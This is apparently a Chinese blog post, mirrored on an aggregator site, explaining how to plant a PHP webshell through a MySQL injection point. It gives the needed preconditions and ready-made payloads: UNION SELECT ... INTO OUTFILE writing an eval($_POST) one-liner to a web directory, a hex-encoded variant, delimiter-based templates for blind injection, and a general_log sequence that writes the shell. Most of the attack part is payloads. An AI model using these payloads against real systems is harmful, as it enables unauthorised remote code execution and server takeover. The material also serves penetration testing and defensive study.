zoukankan      html  css  js  c++  java
  • MySQL注入点写入webshell

    MySQL注入点写入webshell

    • 条件
      • MySQL用secure_file_priv这个配置项来完成对数据导入导出的限制。

        • 通过命令查看secure-file-priv的当前值,确认是否允许导入导出以及到处文件路径。
          show variables like '%secure_file_priv%';
        • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
        • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
        • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制,即secure_file_priv=""
      • MySQL的当前用户拥有的权限可以执行 select into outfile操作。

      • 当secure_file_priv文件导出路径与web目录路径重叠,写入Webshell才可以被访问到。

    • 注入方式
      • 利用Union select 写入
        • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径。
        • 执行语句 :
          ?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'
          ?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile "E:/study/WWW/evil.php"
      • 利用分隔符写入
        • 当Mysql注入点为盲注或报错,Union select写入的方式显然是利用不了的,那么可以通过分隔符写入。SQLMAP的 --os-shell命令,所采用的就是一下这种方式。

        • 具体权限要求:secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径

        • 执行语句

          • ?id=1 INTO OUTFILE '物理路径' lines terminated by (一句话hex编码)#
          • ?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码)#
          • ?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码)#
            *?id=1 INTO OUTFILE '物理路径' lines starting by (一句话hex编码)#
      • 利用log写入
        • 新版本的MySQL设置了导出文件的路径,很难在获取Webshell过程中去修改配置文件,无法通过使用select into outfile来写入一句话。这时,我们可以通过修改MySQL的log文件来获取Webshell。
        • 具体权限要求:数据库用户需具备Super和File服务器权限、获取物理路径。
        • show variables like '%general%'; #查看配置
        • set global general_log = on; #开启general log模式
        • set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
        • select '<?php eval($_GET[g]);?>' #写入shell
        • set global general_log=off; #关闭general log模式
  • 相关阅读:
    关于解决Python中requests模块在PyCharm工具中导入问题
    arcgis javascript api 事件的监听及移除
    零基础掌握百度地图兴趣点获取POI爬虫(python语言爬取)(代码篇)
    python 爬取全量百度POI
    Webpack安装使用总结
    开源协议之间的区别
    npm指令后缀
    nrm的作用(及安装)
    Vuejs中关于computed、methods、watch的区别
    VUE参考---watch、computed和methods之间的对比
  • 原文地址:https://www.cnblogs.com/hacker-snail/p/14096955.html
Copyright © 2011-2022 走看看